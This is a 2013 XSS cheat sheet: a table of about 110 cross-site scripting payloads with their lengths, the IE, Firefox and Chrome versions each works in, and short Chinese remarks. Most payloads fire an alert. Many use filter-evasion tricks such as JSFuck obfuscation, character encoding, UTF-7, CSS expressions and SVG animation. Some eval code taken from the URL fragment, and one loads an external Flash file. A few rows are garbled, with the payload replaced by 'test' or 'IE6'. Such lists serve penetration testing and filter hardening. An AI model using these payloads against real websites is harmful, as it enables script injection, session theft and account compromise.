XSS Cheat sheets

Mramydnei

2013.12.11

NO	payload	length	IE	FF	Chrome	DOM	备注
1	<script>alert(0)</script>	25	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
2	<script>confirm(1)</script>	27	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
3	<script>prompt(2)</script>	26	IE6,9,10,11	FF25，26	Chrome31	N/A	IE7,8拦截
4	<script>\u0061\u006C\u0065\u0072\u0074(3)</script>	50	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
5	<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[!+[]+!+[]+[+[]]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])()</script>	1258	N/A	FF25，26	Chrome31	N/A	N/A
6	<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.	550	IE10,IE11	FF25，26	Chrome31	N/A	N/A

	$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$_$+")"+"\"")())();</script>						
7	<script>+alert(6)</script>	26	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
8	<script test>alert(7)</script>	30	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
9	<script>alert(/8/)</script>	27	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
10	<script src=data:text/javascript,alert(9)></script>	51	IE10,11	FF25，26	Chrome31	N/A	N/A
11	<script src=&#100&#97&#116&#97:text/javascript,alert(10)></script>	66	IE10,11	FF25，26	Chrome31	N/A	N/A
12	<script>alert(String.fromCharCode(49,49))</script>	50	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
13	<script>alert(/12/.source)</script>	35	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
14	<script>setTimeout(alert(13),0)</script>	40	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
15	<script>document['write'](14);</script>	39	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
16	<anytag onmouseover=alert(15)>M	30	N/A	FF25，26	Chrome31	N/A	N/A
17	<anytag onclick=alert(16)>M	27	N/A	FF25，26	Chrome31	N/A	N/A
18	<a onmouseover=alert(17)>M	26	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
19	<a onclick=alert(18)>M	22	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
20	<a href=javascript:alert(19)>M	30	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
21	<button/onclick=alert(20)>M	27	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
22	<form><button formaction=javascript:alert(21)>M	53	IE10,11	FF25，26	Chrome31	N/A	N/A
23	<form/action=javascript:alert(22)><input/type=submit>	53	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
24	<form onsubmit=alert(23)><button>M	34	IE10,11	FF25，26	Chrome31	N/A	N/A
25	<img src=x onerror=alert(24)>	29	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A
26	<body/onload=alert(25)>	23	IE6,7,8,9,10,11	FF25，26	Chrome31	N/A	N/A

27	<body onscroll=alert(26)> <input autofocus>	202	N/A	FF25,26	Chrome31	N/A	N/A
28	<iframe src=j
a
v&Ne wLine;   a
& Tab; s
&Ta b;c
r
&T ab;i
   p
& Tab;   t
&Ta b;   :a
       l
&T ab;   &Tab ;   e
& Tab;   &Ta b; r
         & Tab;t
&Ta b;   %28
&Tab ;   & Tab; 27
&T ab; &Tab ; %29></iframe>	970	IE10,11	N/A	Chrome31	N/A	N/A
29	<iframe src="http://0x.lv/xss.swf"></iframe>	45	N/A	FF25	Chrome31	N/A	FF26提示下载文件
30	<iframe/onload=alert(document.domain)></iframe>	47	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
31	<IFRAME SRC="javascript:alert(29);"></IFRAME>	45	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
32	<meta http-equiv="refresh" content="0; url=data:text/html,%3C %73%63%72%69%70%74%3E%61%6C %65%72%74%2830%29%3C%2F %73%63%72%69%70%74%3E">	134	N/A	FF25,26	Chrome31	N/A	独立域
33	<object	97	N/A	FF25,26	Chrome31	N/A	chr

	data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>						ome 独立域
34	<object data="javascript:alert(document.domain)">	49	N/A	FF25,26	N/A	N/A	N/A
35	<marquee onstart=alert(30)></marquee>	38	IE6,7,8,9,10,11	FF25,26	N/A	N/A	N/A
36	<isindex type=image src=1 onerror=alert(31)>	44	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
37	<isindex action=javascript:alert(32) type=image>	48	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
38	<input onfocus=alert(33) autofocus>	34	IE10,11	FF25,26	Chrome31	N/A	N/A
39	<input onblur=alert(34) autofocus><input autofocus>	51	N/A	N/A	Chrome31	N/A	N/A
40	<INPUT TYPE="IMAGE" SRC=x onerror=alert(35)>	44	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
41	<select onfocus=alert(36) autofocus>	36	IE10,11	FF25,26	Chrome31	N/A	N/A
42	<textarea onfocus=alert(37) autofocus>	38	IE10,11	FF25,26	Chrome31	N/A	N/A
43	<keygen onfocus=alert(38) autofocus>	36	N/A	FF25,26	Chrome31	N/A	N/A
44	<FRAMESET><FRAME SRC="javascript:alert(document.domain);"></FRAMESET>	69	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
45	<frameset onload=alert(40)>	27	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
46	<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+"></embed>	96	N/A	N/A	Chrome31	N/A	chrome 独立域
47	<embed src=javascript:alert(document.domain)>	45	N/A	FF25,26	N/A	N/A	N/A
48	<math href="javascript:alert(45)">M	35	N/A	FF25,26	N/A	N/A	N/A
49	<math> <maction actiontype="" xlink:href="javascript:alert(46)">M	65	N/A	FF25,26	N/A	N/A	N/A
50	<math xlink:href=javascript:alert(47)>M	39	N/A	FF25,26	N/A	N/A	N/A
51	<video><source onerror="alert(48)">	35	N/A	FF25,26	Chrome31	N/A	N/A

52	<video src=x onerror=alert(49)>	31	IE10,11	FF25,26	Chrome31	N/A	N/A
53	<video poster=x onerror=alert(50)>	34	N/A	FF25,26	N/A	N/A	N/A
54	<audio src=x onerror=alert(51)>	31	IE10,11	FF25,26	Chrome31	N/A	N/A
55	<img usemap=#M width=100%><map name="M"><area href=javascript:alert(52) shape=default>	86	N/A	FF25,26	N/A	N/A	N/A
56	<b/ondrag=alert()>x	19	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
57	<image src=1 onerror=alert(53)>	31	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
58	<svg onload=alert(54)>	22	IE10,11	FF25,26	Chrome31	N/A	N/A
59	<svg><g onload=alert(55)>	25	IE10,11	N/A	Chrome31	N/A	N/A
60	<svg><a xlink:href="javascript:alert(56)"><rect width="1000" height="1000" fill="white"/></svg>	100	IE10,11	FF25,26	Chrome31	N/A	N/A
61	<svg/onload=eval(location.hash.split('#')[1])>	46	IE10,11	FF25,26	Chrome31	N/A	N/A
62	<svg/onload=eval(location.hash.substr(1))>	42	IE10,11	FF25,26	Chrome31	N/A	N/A
63	<svg/onload=eval(location.hash.slice(1))>	41	IE10,11	FF25,26	Chrome31	N/A	N/A
64	<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href><image width=100% height=100% /><animate attributeName=xlink:href begin=0 from=javascript:alert(57) to=& >	171	N/A	FF25,26	Chrome31	N/A	N/A
65	<svg xmlns:xlink=http://www.w3.org/1999/xlink><a><image height=100% width=100% /><animate attributeName=xlink:href values=javascript:alert(58) begin=0s dur=0.1s fill=freeze />	180	N/A	N/A	Chrome31	N/A	N/A
66	<svg xmlns:xlink=http://www.w3.org/1999/xlink><a><image height=100% width=100% /><animate attributeName=xlink:href to=javascript:alert(1) begin=0s dur=0.1s fill=freeze />	175	N/A	N/A	Chrome31	N/A	N/A
67	<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href><image width=100% height=100% /><set attributeName=xlink:href to=javascript:alert(1)>	145	N/A	FF25,26	Chrome31	N/A	N/A

68	<meta http-equiv="content-type" content="text/html;charset=utf-7"> +ADw-script+AD4-alert(123); +ADw-/script+AD4-	112	IE6,7,8,9,10,11	N/A	N/A	N/A	N/A
69	<input onclick="document.write('<img src=x onerror=alert(1)>');">	71	IE6,7,8,9,10,11	FF25,26	Chrome31	DOM	N/A
70	<svg[0X09]onload=alert()> <svg[0X0A]onload=alert()> <svg[0X0C]onload=alert()> <svg[0X0D]onload=alert()> <svg[0X020]onload=alert()> <svg[0X2F]onload=alert()	25	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	Safari,opera,android下同样有效
71	<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(3)"></OBJECT>	120	IE6	N/A	N/A	N/A	N/A
72	<LINK REL="stylesheet" HREF="javascript:alert(5);">	51	IE6	N/A	N/A	N/A	N/A
73	<BODY BACKGROUND="javascript:alert(6)">	39	IE6	N/A	N/A	N/A	N/A
74	<TABLE BACKGROUND="javascript:alert(7)">	40	IE6	N/A	N/A	N/A	N/A
75	<TABLE><TD BACKGROUND="javascript:alert(8)">	44	IE6	N/A	N/A	N/A	N/A
76	<p style="background:url('javascript:alert(9)')">	49	IE6	N/A	N/A	N/A	N/A
77	IE6	46	IE6	N/A	N/A	N/A	N/A
78	<DIV STYLE="background-image: url(javascript:alert(11))">	57	IE6	N/A	N/A	N/A	N/A
79	<INPUT TYPE="IMAGE" SRC="javascript:alert(13);">	48	IE6	N/A	N/A	N/A	N/A
80	<IMG DYNSRC="javascript:alert(14)">	35	IE6	N/A	N/A	N/A	N/A
81	<IMG LOWSRC="javascript:alert(15)">	35	IE6	N/A	N/A	N/A	N/A
82	<IMG SRC=javascript:alert(19)>	30	IE6	N/A	N/A	N/A	N/A
83	<STYLE>li {list-style-image: url("javascript:alert(23)");}</STYLE><UL><LI>KCF	77	IE6	N/A	N/A	N/A	N/A

84	<STYLE>@im\port'\ja\vasc\ript:alert(24)';</STYLE>	49	IE6	N/A	N/A	N/A	N/A
85	<STYLE type="text/css">BODY{background:url("javascript:alert(25)")}</STYLE>	75	IE6	N/A	N/A	N/A	N/A
86	<script language=vbs>MsgBox 0</script>	38	IE6,7,8,9,10	N/A	N/A	N/A	N/A
87	test	84	IE6,7,8,9	N/A	N/A	N/A	N/A
88	<DIV STYLE="width: expression(alert(3));">	42	IE6,7,8,9	N/A	N/A	N/A	N/A
89	<img style=xss:expre\ssion(alert(4))>	37	IE6,7,8,9	N/A	N/A	N/A	N/A
90	<img style=xss:expr\65ssion(alert(5))>	38	IE6,7,8,9	N/A	N/A	N/A	N/A
91	<img style=xss:expr\65ss/*???*/ion(alert(6))>	45	IE6,7,8,9	N/A	N/A	N/A	N/A
92	<img onerror=vbs:MsgBox+7 src=a>	33	IE6,7,8,9	N/A	N/A	N/A	N/A
93	<img onerror=MsgBox+8 language=vbscript src=a>	46	IE6,7,8,9,10	N/A	N/A	N/A	N/A
94	<img onerror=MsgBox+9 language=vbs src=a>	41	IE6,7,8,9,10	N/A	N/A	N/A	N/A
95	<style><img src="</style><img src=x onerror=alert(10)//">	58	IE6,7,8,9	N/A	N/A	N/A	N/A
96	<style onreadystatechange=javascript:javascript:alert(11);></style>	67	IE6,7,8,9	N/A	N/A	N/A	N/A
97	test	91	IE6,7,8,9	N/A	N/A	N/A	N/A
98	<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>	65	IE6,7,8,9	N/A	N/A	N/A	N/A
99	<listing>&ltimg src=x onerror=alert(32)&gt</listing>	52	IE6,7,8,9,10,11	N/A	N/A	DOM	N/A
100	<img src="foo" alt="``onerror=alert(30)">	41	IE6,7,8	N/A	N/A	DOM	N/A
101	<p style="font-family:'\22\3bx:expression(alert(31))/*'">	57	IE6,7	N/A	N/A	DOM	N/A
102	<img/src/onerror=alert(33)>	27	IE6	N/A	N/A	DOM	N/A
103	<comment><img src="</comment><img src=x onerror="alert(34))"">	62	IE6	N/A	N/A	DOM	N/A

104	<object data='data:text/xml,<script xmlns="http://www.w3.org/1999/xhtml">alert(document.domain)</script>>'>	107	N/A	FF25,26	Chrome31	N/A	XML
105	<script src=1.js onload=alert(5)></script>	42	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
106	<script src=0.js onerror=alert(1)></script>	43	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
107	<input src=1.png type="image" onload=alert(3)>	46	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
108	<img src=1.png onload=alert(7)>	31	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
109	<style onload=alert(8)>	23	IE6,7,8,9,10,11	FF25,26	Chrome31	N/A	N/A
110	<link type="text/css" rel="stylesheet" href="x" onload=alert(44)>	65	IE6,7,8,9	N/A	N/A	N/A	N/A